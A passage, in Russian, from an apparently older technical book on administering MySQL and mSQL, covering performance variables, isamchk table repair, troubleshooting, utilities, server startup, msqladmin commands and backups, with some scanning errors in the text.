    По каким-то причинам в некоторых дистрибутивах MySQL сценарий mysqlaccess указывает на нестандартное расположение исполняемых файлов Perl. Если при попытке выполнить mysqlaccess вы получаете сообщение "command not found", то это, скорее всего, ваш случай. Вам необходимо изменить строку 1 сценария mysqlaccess, чтобы она указывала на правильный путь к Perl, обычно /usr/local/bin/perl.



    MySQL является, возможно, самым ярким

    MySQL

    MySQL является, возможно, самым ярким программным проектом после выхода Linux. В то время как mSQL заслуживает уважения за то, что столкнула дело управления базами данных с мертвой точки, MySQL умело воспользовалась моментом. Сейчас она не больше и не меньше, как серьезный конкурент большим СУБД в области разработки баз данных малого и среднего масштаба. В самом начале MySQL просто стала заменой устаревающему ядру mSQL версии 1. Как отмечалось в Главе 1, признаки старения mSQL проявились в виде проблем со стабильностью и неспособностью удовлетворить растущие требования, которые обрушились на нее благодаря успеху. MySQL использовала основы проекта mSQL и теперь превосходит ее по набору характеристик и одновременно по производительности.



    Настройка производительности

    Разница между хорошим администратором баз данных и первоклассным администратором состоит в том, что один знает, как управлять сервером баз данных, а второй знает, как сервер живет и дышит. Решение проблем производительности часто лежит на пути глубокого понимания того, как работает MySQL, что дает возможность оптимизировать работу приложения, используя все возможности сервера.

    MySQL имеет три потенциальных "узких места" при любом подключении. Во-первых, это сетевое соединение клиента с сервером. Во-вторых, это время решения таких задач, как, скажем, построение индексов. И наконец, проблема может быть связана с дисковым вводом/выводом. MySQL предоставляет доступ к переменным, с помощью которых ее функционирование можно настроить в соответствии со средой приложения. Все эти переменные можно установить, используя параметр -О в команде mysqld. Например, переменная back_log принимает значение 15 в результате добавления к mysqld параметра -О backjtog=15. Ниже следует список полезных переменных.

    bach_log

    Количество одновременных подключений по TCP/IP в очереди. При наличии большого числа удаленных пользователей, одновременно подключающихся к вашей базе данных, может потребоваться увеличить это число. Отрицательной стороной большого значения является некоторый рост использования памяти и загрузки ЦП.

    key_buffer

    Буфер, выделяемый для хранения последних использовавшихся ключей. Если запросы выполняются слишком медленно, увеличение этого значения может оказаться благотворным. Отрицательный эффект - увеличение расхода памяти.

    max Connections

    Число одновременных соединений, разрешенное сервером баз данных. Если при активной работе пользователи иногда получают отказ в доступе, возможно, это число следует увеличить. Отрицательное последствие - увеличение загрузки сервера, то есть рост использования ЦП, расхода памяти и дискового ввода/вывода.

    table_cache

    Буфер, используемый для хранения данных, к которым происходит частое обращение. Если выделить под них память, то резко сокращается объем обращений к диску. Отрицательный эффект - существенное увеличение расхода памяти.


    Структура хранения данных в MySQL

    Для хранения каждой таблицы MySQL используется три файла. Например, средних размеров таблица mytable может выглядеть так:

    -rw-rw-- - 1 root root 1034155 Jun 3 17:08 mytable.ISD

    -rw-rw---- 1 root root 50176 Jun 3 17:08 mytable.ISM

    -rw-rw-- - 1 root root 9114 Jun 3 14:24 mytable.frm

    В файле ISD хранятся фактические данные. В файле ISM хранятся данные о ключах и прочие внутренние данные, необходимые MySQL для быстрого поиска данных в файле ISD. Файл f rm содержит структуру самой таблицы.

    Файл ISM наиболее важен для функционирования MySQL. Он настолько важен, что ему посвящена целая утилита isamchk. Запуск isamchk -d выводит сведения о таблице:

    # isamchk -d mytable

    ISAM file: mytable

    Data records: 1973 Deleted blocks: 0

    Recordlength: 343

    Record format: Packed

    table description:

    Key Start Len Index Type

    1 2 50 unique text packed stripped

    Важное поле, которое нужно отметить, это "Deleted blocks" (удаленные блоки). Если его значение слишком велико, то файл понапрасну занимает много лишнего места. К счастью, это пространство можно освободить. В результате выполнения следующей команды таблица будет просмотрена и создана заново, при этом будут в большинстве своем устранены ошибки и высвобождено свободное пространство:

    isamchk -r mytable

    Еще большего увеличения скорости можно добиться, применив к таблице команду Isamchk -а. Эта команда анализирует размещение данных в таблице. Ее следует выполнить после вставки или удаления большого числа записей.

    Восстановление поврежденных таблиц

    При авариях сервера или по другим естественным причинам таблица базы данных может оказаться поврежденной. С помощью isamchk обеспечивается несколько уровней восстановления:

    isamchk mytable

    Настройка производительностиПри запуске isamchk во время работы сервера может потребоваться выполнить mysqladmin reload, чтобы сервер "увидел" исправленную таблицу.

    Эта команда исправляет большинство обычных ошибок в таблице. Добавление параметров -г и -v приводит к выводу дополнительных сведений о том, что было нарушено. Использование нескольких -и увеличивает подробность вывода сведений.


    isamchk -rq mytable

    Эта команда осуществляет быструю проверку и при необходимости исправление только файла ISM, файл ISD при этом не проверяется.

    isamchk -e mytable

    С этим параметром производится полная проверка и исправление всего, что можно, и устранение любых повреждений. Такая проверка обычно производится значительно дольше, чем обычная. Выполнение команды прекращается в момент столкновения с первой серьезной ошибкой. Для продолжения проверки даже после нахождения серьезных повреждений передается параметр -v. Тем самым гарантируется отсутствие повреждений в результирующей таблице, но при этом может произойти потеря некоторых данных.

    Настройка производительностиПрежде чем выполнять команду, способную изменить содержимое таблицы, всегда делайте резервную копию данных. Утилита isamchk очень хороша для исправления ошибок, но иногда это означает уничтожение поврежденных данных, входящих в конфликт с остальными данными таблицы. При наличии резервной копии можно восстановить данные, уничтоженные утилитой isamchk.

    Удаление и замена ключей

    Иногда ключи замедляют скорость работы с базой данных. Если, к примеру, вы намерены ввести большой объем данных, индексирование ключей после каждой вставки может оказаться очень неэффективным. Кроме того, если ваша таблица имеет поврежденные ключи, в результате безоглядного исправления таблицы утилитой isamchk может произойти потеря данных, связанных с ключом.

    В этих случаях оказывается полезным временное удаление ключей из таблицы и воссоздание их после завершения опасной работы. Следующая команда удаляет ключи из таблицы:

    isamchk -rq -k0

    Если вы готовы снова вставить ключи, это можно сделать командой:

    isamchk -rq

    Настройка производительностиПрежде чем ввести команду isamchk с параметром -r, завершите работу сервера, иначе таблица может оказаться повреждений.

    Команда isamchk предоставляет столько возможностей, что вам, вероятно, станет сложно разобраться во всех них. Следует, однако, руководствоваться следующими соображениями:

  • Если база данных новая, почаще выполняйте isamchk, -а. В большинстве приложений баз данных основной массив данных вводится в начале существования базы. Если выполнять isamchk с параметром, указывающим на необходимость анализа данных всякий раз, когда размер базы данных удваивается, можно быть уверенным в эффективности хранения данных.


  • Раз или два в год выполняйте команду isamchk -d. Если число удаленных блоков в ваших таблицах составляет существенную часть дискового пространства, выполните isamchk -r для перестройки таблиц с высвобождением ненужного места. Если ваше приложение таково, что приходится удалять много старых данных и вводить новые, выполняйте isamchk -d каждые две недели, а если число удаленных блоков быстро растет, может понадобиться выполнять isamchk -r регулярно - раз в месяц.

  • За исключением операций удаления и замены ключей, которые нужно производить всякий раз, когда одновременно вводился несколько десятков записей, все остальные виды isamchk следует выполнять только в ответ на появившуюся в базе данных несовместность.

    Устранение неполадок

    Даже в самых совершенных программах возникают проблемы. К счастью, многие из проблем, с которыми вы можете столкнуться, уже с кем-то случались. Ниже приводится ряд часто встречавшихся проблем при администрировании MySQL.

    Изменения в таблицах доступа не действуют.

    Не забывайте выполнять команду mysqladmin reload после внесения изменений в таблицы доступа.

    При высокой загрузке MySQL отказывает в подключении.

  • Сначала уточните число соединений, допускаемых сервером. Команда mysqladmin variables покажет его значение в поле max_connec-tions. Можно увеличить это число, запустив mysqld с параметром -О max_connections=###, где ### - предел, который вы хотите установить.

  • Можно также проверить значение back_log , которое определяет размер очереди, создаваемой MySQL для входящих соединений, равное 5 по умолчанию. Версии MySQL до 3.22 позволяли увеличить это значение до 64, но в более поздних версиях его можно увеличить до 1024. Однако оно может быть ограничено до 64 вашей операционной системой.

  • Наконец, эта проблема может быть вызвана ограничением числа дескрипторов файлов. Симптомом этого является полный отказ в подключениях при запуске MySQL большого числа потоков. Unix-системы позволяют устанавливать число дескрипторов файлов разными способами, поэтому следует справиться в системной документации о том, как это сделать.


    MySQL сообщает о невозможности найти файл, который явно существует, или сообщает об ошибках во время его чтения.

    В большинстве случаев эта проблема связана с числом дескрипторов файлов, о котором говорилось выше. Однако если увеличить буфер таблиц MySQL, ему не потребуется открывать так много файлов, и вы сможете избавиться от этой проблемы. По умолчанию величина буфера таблиц равна 64. Можно увеличить его через значение переменной table_cache .

    Число потоков начинает расти, и потоки не завершаются,

    В некоторых системах с установленным NFS, а также в Linux, есть проблемы с механизмом блокировки файлов. Результатом может быть замораживание потоков. Команда mysqladmin processlist поможет выявить эту проблему. Если в поле "Command" против замороженных потоков стоит "System lock", запустите mysqld с параметром --skip_ locking.

    Проект

    Опираясь на наследство, полученное от mSQL, TcX решила, что MySQL должна быть не медленнее mSQL, обладая при этом большим набором возможностей. В то время mSQL задавала тон в производительности баз данных, так что задачу себе ТсХ поставила непростую. Особыми целями проектирования MySQL были скорость, надежность и простота использования. Чтобы достичь такой производительности, в ТсХ приняли решение сделать многопоточным внутренний механизм MySQL. Многопоточное приложение одновременно выполняет несколько задач - так, как если бы одновременно выполнялось несколько экземпляров приложения.

    Сделав MySQL многопоточной, ТсХ дала пользователям много выгод. Каждое входящее соединение обрабатывается отдельным потоком, при этом еще один всегда выполняющийся поток управляет соединениями, поэтому клиентам не приходится ждать завершения выполнения запросов других клиентов. Одновременно может выполняться любое количество запросов. Пока какой-либо поток записывает данные в таблицу, все другие запросы, требующие доступа к этой таблице, просто ждут, пока она освободится. Клиент может выполнять все допустимые операции, не обращая внимания на другие одновременные соединения. Управляющий поток предотвращает одновременную запись какими-либо двумя потоками в одну и ту же таблицу.

    Такая архитектура, конечно, более сложна, чем однопоточная архитектура mSQL. Однако выигрыш в скорости благодаря одновременному выполнению нескольких запросов значительно превосходит потери скорости, вызванные увеличением сложности.

    Другое преимущество многопоточной обработки присуще всем многопоточным приложениям. Несмотря на то что потоки совместно используют память процесса, они выполняются раздельно. Благодаря этому разделению выполнение потоков на многопроцессорных машинах может быть распределено по нескольким ЦП. На рис. 4-1 показана эта многопоточная природа сервера MySQL.

    Проект
    Рис. 4-1. Клиент-серверная архитектура MySQL

    Помимо выигрыша в производительности, полученного благодаря многопоточности, MySQL поддерживает большее подмножество SQL, чем mSQL. MySQL поддерживает более десятка типов данных, а также функции SQL. Ваше приложение может получить доступ к этим функциям через команды ANSI SQL.


    MySQL фактически расширяет ANSI SQL несколькими новыми возможностями. В их числе новые функции (ENCRYPT, WEEKDAY, IF и другие), возможность инкрементирования полей (AUTO_INCREMENT и LAST_INSERT_ID), а также возможность различать верхний и нижний регистры.

    ТсХ намеренно опустила некоторые возможности SQL, встречающиеся в больших базах данных. Наиболее заметно отсутствие транзакций и встроенных процедур. Как и Дэвид Хьюз в mSQL, ТсХ решила, что реализация этих возможностей нанесет слишком сильный удар по производительности. Однако ТсХ продолжает работу в этом направлении, но так, чтобы от потери производительности страдали только те пользователи, которым такие возможности действительно необходимы.

    С 1996 года ТсХ использует MySQL в среде, где имеется более 40 баз данных, содержащих 10 000 таблиц. Из этих 10 000 более 500 таблиц имеют, в свою очередь, более 7 миллионов записей - около 100 Гбайт данных.



    Установка MySQL

    Прежде чем использовать MySQL, ее необходимо установить. MySQL работает почти на любой известной Unix-платформе, а также под управлением Windows 9x, Windows NT и OS/2. Для Windows 9x и Windows NT требуется приобрести лицензию. Если вы хотите лишь протестировать работу этой СУБД, имеется более старая бесплатная версия.

    Дистрибутив MySQL существует как в двоичном виде, так и в виде исходного текста. Если вы не прочь внести свой вклад в проект MySQL, добавить к нему свои усовершенствования или просто не можете найти двоичного дистрибутива для своей платформы, то необходимо взять дистрибутив с исходным кодом. Большинству пользователей, впрочем, следует брать двоичный дистрибутив. Самые свежие дистрибутивы - двоичные и в виде исходных текстов - можно найти на http://www.mysql.com

    Если вы получите дистрибутив в виде исходного текста, то перед установкой нужно его скомпилировать. В любом случае следует руководствоваться инструкциями, имеющимися в дистрибутиве.



    Утилиты MySQL

    ТсХ распространяет MySQL с большим набором вспомогательных утилит, однако набор утилит, предлагаемых сторонними разработчиками, еще богаче. В этом параграфе мы постараемся дать краткий обзор этих инструментов, отложив полное описание до главы 18 "Справочник по РНР и Lite".

    Утилиты командной строки (Command Line Tools)

    isamchk

    Производит проверку файлов, содержащих данные базы. Эти файлы называются ISAM-файлами (ISAM - метод индексированного последовательного доступа). Эта утилита может устранить большую часть повреждений ISAM-файлов. Мы подробнее опишем ее ниже.

    isamlog

    Читает создаваемые MySQL журналы, относящиеся к ISAM-файлам. Эти журналы можно использовать для воссоздания таблиц или воспроизведения изменений, внесенных в таблицы в течение некоторого промежутка времени.

    mysql

    Создает прямое подключение к серверу баз данных и позволяет вводить запросы непосредственно из приглашения MySQL.

    mysqlaccess

    Модифицирует таблицы прав доступа MySQL и отображает их в

    удобном для чтения виде. Использование этой утилиты — хороший способ изучения структуры таблиц доступа MySQL.

    mysqladmin

    Осуществляет административные функции. С помощью этой утилиты можно добавлять и удалять целые базы данных, а также завершать работу сервера.

    mysqlbug

    Составляет для ТсХ отчет о возникшей в MySQL неполадке. Отчет будет также послан в почтовый список рассылки MySQL, и армия добровольцев MySQL будет исследовать проблему.

    mysqldump

    Записывает все содержимое таблицы, включая ее структуру, в файл в виде SQL-команд, которыми можно воссоздать таблицу. Выходные данные этой утилиты можно использовать для воссоздания таблицы в другой базе или на другом сервере.

    mysqlimport

    Считывает данные из файла и вводит их в таблицу базы данных. Это должен быть файл с разделителями, где разделитель может быть любого обычного вида, например, запятая или кавычки.

    mysqlshow

    Выводит на экран структуру баз данных, имеющихся на сервере, и таблицы, из которых они состоят.


    Утилиты сторонних разработчиков

    Ни один поставщик или разработчик не может самостоятельно предоставить все необходимые для программного продукта средства поддержки. Продукты с открытым исходным кодом, такие как Linux, имели столь потрясающий успех не только благодаря проделанной Линусом Торвальдсом работе по созданию ядра Linux, но и благодаря сотням, если не тысячам, программ для Linux сторонних разработчиков. MySQL также значительно выиграл от работы подобных добровольцев. Хотелось бы перечислить все имеющиеся программы, но этот перечень ежедневно меняется. Ниже мы попытались составить представление о том, что имеется в наличии. За самым свежим списком обратитесь на домашнюю страницу MySQL: http://www.mysql.com/Contrib.

    Утилиты преобразования баз данных

    access_to_mysql

    Преобразует базы данных Microsoft Access в таблицы MySQL. Включается в Access в виде функции, позволяющей сохранять таблицы в формате, позволяющем экспортировать их в MySQL.

    dbf2mysql

    Конвертирует файлы dBASE (DBF) в таблицы MySQL. Хотя dBASE утратил популярность, формат DBF установился как наиболее распространенный для передачи данных между различными приложениями баз данных. Все главные настольные приложения баз данных могут читать и писать DBF-файлы. Это приложение полезно для экспорта/импорта данных в коммерческие настольные базы данных.

    Export sql/Importsql

    Конвертирует базы данных Microsoft Access в MySQL и обратно. Эти утилиты являются функциями Access, которые можно использовать для экспорта таблиц Access в формате, пригодном для чтения MySQL. С их помощью можно также преобразовывать SQL-выход MySQL в вид, пригодный для чтения Access.

    Интерфейсы CGI

    РНР

    Создает HTML-страницы с использованием специальных тегов, распознаваемых анализатором РНР. РНР имеет интерфейсы к большинству основных баз данных, включая MySQL и mSQL. Мы более подробно расскажем о РНР в главе 12 "РНР и другие средства поддержки управления HTML со стороны баз данных".

    Mysql-webadmin

    Осуществляет веб-администрирование баз данных MySQL. Используя это средство, можно просматривать таблицы и изменять их содержимое с помощью HTML-форм.


    Mysqladm

    Осуществляет веб- администрирование баз данных MySQL. Эта CGI-программа позволяет просматривать таблицы через WWW, добавлять таблицы и изменять их содержимое.

    www-sql

    Создает HTML-страницы из таблиц баз данных MySQL. Эта программа осуществляет разбор HTML-страниц в поисках специальных тегов и использует извлеченные данные для выполнения команд SQL на сервере MySQL.

    Клиентские приложения

    Mysqlwinadmn

    Позволяет администрировать MySQL из Windows. С помощью этого средства можно выполнять функции mysqladmin из графического интерфейса.

    xmysql

    Обеспечивает полный доступ к таблицам баз данных MySQL для клиента X Window System. Поддерживает групповые вставки и удаления.

    xmysqladmin

    Позволяет осуществлять администрирование MySQL из X Window System. Это инструмент для графического интерфейса, позволяющий создавать и удалять базы данных и управлять таблицами. С его помощью можно также проверять, запущен ли сервер, перегружать таблицы доступа и управлять потоками.

    Интерфейсы программирования

    MyODBC

    Реализует ODBC API к MySQL в Windows.

    Db.py

    Обеспечивает доступ MySQL к сценариям Python. Для повышения производительности этот модуль осуществляет буферизацию извлекаемых данных. Программирование на Python для MySQL мы излагаем в главе 11, а подробное справочное руководство по Python представлено в главе 20.

    Vdb-dflts

    Реализует библиотеку Vdb для MySQL. Vdb - не зависящий от типа базы данных API для С, позволяющий единому клиенту иметь доступ к различным серверам баз данных. Клиенты Vdb могут использовать этот API для досупа к базам данных MySQL.

    Delphi-interface

    Предоставляет API доступа к MySQL для среды Delphi, выпускаемой Inprise. С помощью этого API любое приложение Delphi получает доступ к базам данных MySQL.

    dump2h

    Преобразует структуры таблиц MySQL в файлы заголовков С. Эта программа принимает обычный файл, создаваемый mysqldump и генерирует заголовочный файл С, описывающий таблицу в виде структуры (st ruct) на С.

    mm.mysql.jdbc


    Реализует стандартный API JDBC (Java Database Connectivity -доступ к базам данных из Java). В главе 14 "Java и JDBC" подробно обсуждается программирование на Java с использованием этого API, а в главе 22 "Справочник по JDBC" представлено полное справочное руководство по JDBC 2.0.

    twzJdbcForMysql

    Реализация JDBC API для Java.

    Mysqltcl

    Реализует интерфейс Tel к MySQL.

    MySQLmodule

    Реализует доступ к MySQL из Python.

    Mysql-c++

    Объектно-ориентированная оболочка MySQL С API для доступа из приложений на C++.

    MySQL++

    Обеспечивает объектно-ориентированный доступ к MySQL для приложений на C++,

    Pike-mysql

    Позволяет пользователям известного веб-сервера Roxen разрабатывать интернет-приложения с доступом к MySQL.

    Sqlscreens

    Генерирует экраны баз данных на Tcl/Tk на основе баз данных MySQL. Позволяет разработчикам строить специализированные . GUI, привязанные к таблицам MySQL.

    Squile

    Позволяет создавать сценарии на Guile для доступа к таблицам MySQL.

    Wintcl

    Поддерживает встраивание кода Tel в HTML-файлы. С помощью этого средства легко разрабатывать веб-приложения, способные осуществлять доступ к базам данных MySQL.

    Разное

    Emacs-sql-mode

    Адаптирует стандартный режим SQL для Emacs для поддержки особенностей синтаксиса SQL в MySQL. Вводит отступы, выделяет синтаксис и довершает команды, что облегчает работу с SQL.

    findres

    Отыскивает в таблицах MySQL зарезервированные слова. Эта-программа ищет в таблицах MySQL зарезервированные слова SQL, которые могут нарушить правильную работу других баз данных, поддерживающих SQL.

    Hyalog

    Сохраняет в таблице MySQL исходящие факсимильные сообщения. Эта программа отслеживает факсы, отправляемые программой HylaFax, и сохраняет их копии в базе данных MySQL.

    mod_auth_mysql

    Осуществляет аутентификацию пользователей сервера Apache. Обычно Apache осуществляет контроль доступа с помощью простых текстовых файлов, содержащих имена пользователей и зашифрованные пароли. Данный модуль позволяет управлять доступом через базу данных MySQL.


    mod_log_mysql

    Регистрирует трафик WWW, проходящий через сервер Apache, в базе данных MySQL.

    mysqlpasswd

    Обеспечивает добавление, удаление и изменение записей о пользователях, хранимых в MySQL модулем mod_auth_mysql из состава Apache.

    Mysql_watchdog

    Осуществляет контроль за MySQL с целью обеспечения его непрерывного функционирования с нормальными параметрами.

    Nsapi_auth_mysql

    Аутентифицирует пользователей на веб-сервере Netscape.

    Pam_mysql

    Предоставляет интерфейс РАМ (Pluggable Authentication Module -подключаемый модуль аутентификации) к MySQL. РАМ обеспечивает проверку пользователей для ряда служб, включая стандартную регистрацию в системе.

    Wuftpd-mysql

    Позволяет регистрировать в базе данных MySQL трафик FTP через демон WuFTP.



    Запуск MySQL

    Как правило, сервер баз данных работает постоянно. В конце концов, какой смысл иметь базу данных, если нельзя получить данные. ТсХ создавала MySQL, имея это в виду, поэтому MySQL работает под Unix как демон, и как служба — под Windows NT. В Windows 95 есть только грубый аналог, реализуемый помещением ярлыка исполняемого приложения в папку Автозагрузка (StartUp). Важной особенностью работы под Windows 95 является то, что при создании каждого потока происходит утечка примерно 200 байт оперативной памяти. Поэтому под Windows 95 не следует надолго оставлять MySQL работающей. К Windows 98 и Windows NT это не относится.

    Запуск MySQL осуществляется с помощью сценария safe_mysqld. Под Unix этот файл устанавливается по умолчанию как /usr/local/bin/ safe_mysqld. Это сценарий для командного процессора Борна, и вы можете редактировать его, чтобы изменять принятые по умолчанию параметры. Все параметры, которые вы зададите в safe_mysqld, будут переданы непосредственно демону MySQL.

    MySQL — ветвящийся демон. Когда вы ее запускаете, программа создает свою копию и выполняется как фоновый процесс. Поэтому вам не нужно ничего делать, чтобы заставить MySQL выполняться в фоновом режиме. Если же для запуска MySQL вы используете сценарий safe_mysqld, то вы должны перевести его в фоновый режим:

    /usr/local/mysql/bin/safe_mysqld &

    Причина, по которой вы должны запускать safe_mysqld в фоновом режиме (и по которой нужно запускать именно safe_mysqld, а не mysqld) в том, что сценарий safe_mysqld запускает mysqld, а затем непрерывно проверяет, выполняется ли mysqld. Если выполнение MySQL неожиданно прекратится, safe_mysqld ее перезапустит.

    Теперь, когда вы знаете, как запускать MySQL, нужно сделать так, чтобы MySQL стартовала и заканчивала работу вместе с компьютером, на котором она выполняется. Под Windows NT, конечно, достаточно установить MySQL как службу. Под Windows 9x нужно поместить ярлык сценария запуска MySQL в папку Startup. Под Unix, как и почти всегда бывает в этом мире, заставить MySQL стартовать и завершаться вместе с системой несколько сложнее. Unix-системы обычно ищут сценарии начального запуска где-то в каталоге /etc - в /etc/rc.d или /etc/ init.d. Вы должны узнать у системного администратора или в документации, куда именно нужно помещать сценарии запуска/завершения. Дистрибутив MySQL содержит в каталоге support_j'lies файл mysql.ser-ver. Этот сценарий и будет служить сценарием запуска/завершения.



    Администрирование баз данных

    Теперь, когда ваш сервер баз данных работает 24 часа в сутки 7 дней в неделю, надо заставить его обслуживать ваши потребности в доступе к базам данных.

    Утилита msqladmin

    Утилита msqladmin является вашим главным инструментом администрирования баз данных. Она поддерживает создание, удаление, копирование, переименование и исследование ваших баз данных mSQL. Если вы вернетесь к нашему обсуждению того, что такое база данных в главе 1, то вспомните, что mSQL сама по себе - не база данных. Ваши базы данных - это группы файлов в каждом подкаталоге каталога msqldb. mSQL - система управления этими базами. Одна СУБД одновременно может обслуживать много баз данных. Утилита msqladmin позволяет администрировать базы данных для выбранного сервера.

    Создание баз данных

    Первое, что вы захотите сделать после установки mSQL, это создать базу данных, которая служит какой-либо вашей цели. Синтаксис создания базы данных следующий:

    msqladmin create DATABASENAME

    В этой команде DATABASENAME - имя новой базы данных, которую вы хотите создать. Команда создает новую пустую базу данных с указанным вами именем. Как мы говорили раньше, база данных в mSQL — просто каталог в каталоге msqldb в том месте, куда вы установили mSQL. mSQL помещает все данные, относящиеся к вашей новой базе данных, в файлы, находящиеся в этом каталоге. Например, если вы создаете базу данных с именем "mydata", используя установку mSQL по умолчанию, будет создан каталог /usr/local/Hughes/msqldb/mydata.

    Удаление базы данных

    Во время разработки нового приложения баз данных вы, вероятно, захотите создать несколько баз данных для поддержки процесса разработки. Например, в процессе разработки принято иметь различные базы данных для разработки, тестирования и окончательного результата. По завершении разработки можно освободиться от баз данных для разработки и тестирования. Утилита msqladmin имеет параметр "drop", позволяющий удалить базу данных:

    msqladmin drop DATABASENAME

    Как и в команде msqladmin create, DATABASENAME является именем базы данных, которую вы хотите уничтожить. mSQL не позволит вам случайно удалить базу данных. После ввода этой команды она предупредит вас, что удаление базы данных потенциально очень опасно и попросит вас подтвердить свое намерение. После удаления базы данных вы можете убедиться в том, что в каталоге msqldb больше нет каталога, служившего ранее этой базой данных.


    Переименование и копирование баз данных

    Удобной новой возможностью, включенной в mSQL 2, является возможность переименования и копирования баз данных.

    В mSQL 1 можно было обратиться к файловой системе и вручную переименовать или скопировать каталоги баз данных средствами операционной системы. Если пойти по этому пути, то нужно не забыть перезапустить сервер mSQL и разобраться с правами доступа. В mSQL 2 переименование осуществляется просто:

    msqladmin move OLDNAHE NEWNAME

    Например, если вы создали базу данных "midata" с ошибкой в имени и хотите исправить ее, нужно выполнить команду:

    msqladmin move midata mydata

    Копирование столь же просто:

    msqladmin copy mydata mynewdata

    Состояние сервера

    Если вы работали с MySQL, то обратите внимание, что контроль состояния сервера - область, в которой mSQL явно не силен. Утилита msqladmin служит вам интерфейсом к контролю состояния серверов. msqladmin stats в mSQL 2 выводит на экран следующее:

    Server Statistics

    -------------------------

    Mini SQL Version 2.0.4.1 - Forge Alpha Build #9

    Copyright (c) 1993-94 David J. Hughes

    Copyright (c) 1995-98 Hughes Technologies Pty Ltd. All rights reserved.

    Config file : c:\usr\local\hughes\msql.conf Max connections : 61 Cur connections : 1

    Running as user : UID 500

    Connection table :

    Sock Username Hostname Database Connect Idle Queries,

    Администрирование баз данных

    Здесь требуется некоторое пояснение:

    Max connections

    Максимальное количество одновременных соединений, которое может обработать сервер.

    Cur connections

    Число подключений к серверу в данный момент. Sock

    Номер сокета Интернет, используемый mSQL для идентификации каждого соединения.

    Username

    Имя пользователя, подключенного к серверу.

    Hostname

    Имя машины, подключенной к серверу. "Unix sock" указывает на локальное подключение через сокет Unix.

    Database

    Имя базы данных, к которой пользователь подключен в данный момент. "No DB" означает, что клиент не выбрал базу данных.

    Connect


    Общее время соединения клиента с сервером в часах и минутах.

    Idle

    Число минут, прошедших с момента последнего запроса пользователя.

    Queries

    Общее количество запросов, посланных клиентом через данное соединение.

    Помимо команды msqladmin stats можно получить другую, более статичную информацию с помощью команды msqladmin version. Ее выдача может выглядеть так:

    Version Details :-

    msqladmin version 2.0.4,1 - Forge Alpha Build #9

    mSQL server version 2.0.4,1 - Forge Alpha Build #9

    mSQL protocol version23

    mSQL connection 127.0.0.1 via TCP/IP

    Target platform CYGWIN32_NT-4.0-1586

    Configuration Details :-

    Default config file c:\usr\local\hughes/msql.conf

    TCP socket 1114

    Unix socket c:\usr\local\Hughes\msql2.sock

    mSQL user msql

    Admin user root

    Install directory c:\usr\local\Hughes

    PID file location c:\usr\local\Hughes\msql2d.pid

    Memory Sync Timer 30

    Hostname Lookup False

    Каждое значение, выводимое командой msqladmin version, может быть установлено в конфигурационном файле mSQL 2.

    Если mSQL компилировалась со включенной отладкой, mSQL будет помещать данные о выполняющемся процессе сервера в отладочный файл, указанный при компиляции. Других возможностей ведения журналов mSQL не предоставляет.

    Завершение работы сервера

    Ранее в этой главе в примере сценария запуска/остановки для Unix вы видели, как завершать работу сервера mSQL. Команда такая:

    msqladmin shutdown

    Эта команда осуществляет корректное завершение работы сервера mSQL.

    Перезагрузка при изменении параметров сервера

    Если вы производите изменения в ACL mSQL, нужно дать серверу команду на перезагрузку этих изменений. Для этого вводится команда:

    msqladmin reload

    Мы расскажем о mSQL ACL позднее в этой главе.

    Параметры командной строки msqladmin

    Во всех приведенных до сих пор примерах msqladmin использовалась для администрирования локального сервера mSQL с файлом конфигурации, созданным по умолчанию. Эту утилиту можно использовать для администрирования серверов на других машинах с другими конфигурационными файлами. Полный синтаксис утилиты msqladmin таков:


    msqladmin [-h host] [-f conf] [-q] COMMAND

    Параметры имеют следующее значение:

    -h

    Имя машины, на которой работает администрируемый сервер.

    -f

    Файл конфигурации для сервера, которым вы хотите управлять. Скорее всего, вы будете использовать этот параметр при работе нескольких экземпляров mSQL, как описано ранее в этой главе.

    -q.

    Запуск в "тихом" режиме. При этом msqladmin не просит подтверждения команд. Этот параметр полезен при запуске утилиты из сценариев.

    Резервирование данных

    Правильное резервирование является жизненно важной частью всякой схемы администрирования. Достаточно серьезное повреждение базы данных может нарушить работу всех приложений, связанных с этой базой данных. Как говорят, качество данных определяется качеством последней резервной копии.

    При использовании mSQL есть несколько методов резервирования. Как чаще всего бывает в mSQL, они небогаты украшениями, но дело свое делают. Чаще всего для создания резервных копий баз данных mSQL используется команда msqldump. Она делает полный стандартный дамп всей базы. Для каждой базы данных в системе нужно выполнить свою команду, например:

    msqldump database1 > /usr/backups/database1.sql. daily

    msqldump database2 > /usr/backups/database2.sql. daily

    msqldump database3 > /usr/backups/database3.sql. daily

    В этом примере создается дамп трех разных баз данных в одном каталоге.

    Расширение daily используется для указания на то, что резервные копии создаются ежедневно. Как часто вы будете резервировать данные, зависит от их важности, размера и типа имеющихся у вас носителей. Поскольку mSQL позволяет создавать только полные дампы, размер резервных копий может быть очень большим в системах, содержащих большой объем данных. Если у вас достаточно места, то неплохо делать отдельные резервные копии для каждого дня недели или даже двух недель или месяца. По окончании цикла ленты используются заново, если это необходимо; а при записи на жесткий диск переписываются файлы. При такой схеме всегда есть данные за одну неделю. При создании резервных копий на жестком диске можно объединить отдельные ежедневные копии в одну ежедневную копию, перезаписываемую каждый день. В этом случае следует также иметь отдельную еженедельную копию, чтобы восстановить случайно удаленные данные, отсутствующие в последней дневной копии. Такую схему можно использовать, только если вы ограничены в пространстве для резервирования.


    Другой метод резервирования основывается на простоте структуры файлов данных mSQL. В отличие от некоторых других пакетов, mSQL хранит данные в обычных файлах операционной системы, поэтому можно обращаться с ними как со всякими другими файлами. Полную резервную копию mSQL можно сделать, остановив сервер и создав tar-архив каталога данных mSQL. Предварительно сервер следует остановить, в противном случае данные могут оказаться неполными или поврежденными.

    Восстановление данных из резервных копий производится столь же просто, как создание копий. Дампы, создаваемые msqldump, имеют стандартную форму SQL и могут быть обработаны монитором msql. Эти дампы содержат команды для создания как таблиц, так и данных, поэтому нужно либо удалить существующие таблицы, либо удалить из дампов команды CREATE TABLE. Если вы восстанавливаете только отдельные строки данных, можно просто скопировать их из дампа и подать на вход монитора msql.

    При восстановлении данных из архивной копии каталога данных mSQL возможно только полное восстановление сохраненного состояния. Нельзя восстановить какую-то часть данных, и все изменения, произведенные после создания последней резервной копии, будут утеряны. Для проведения этого восстановления просто остановите сервер и затем введите резервный файл в каталог данных mSQL. После перезапуска сервера он окажется точно в том состоянии, которое было перед созданием копии, за исключением того, что будут присутствовать вновь добавленные базы данных, сохраненные в неприкосновенности.

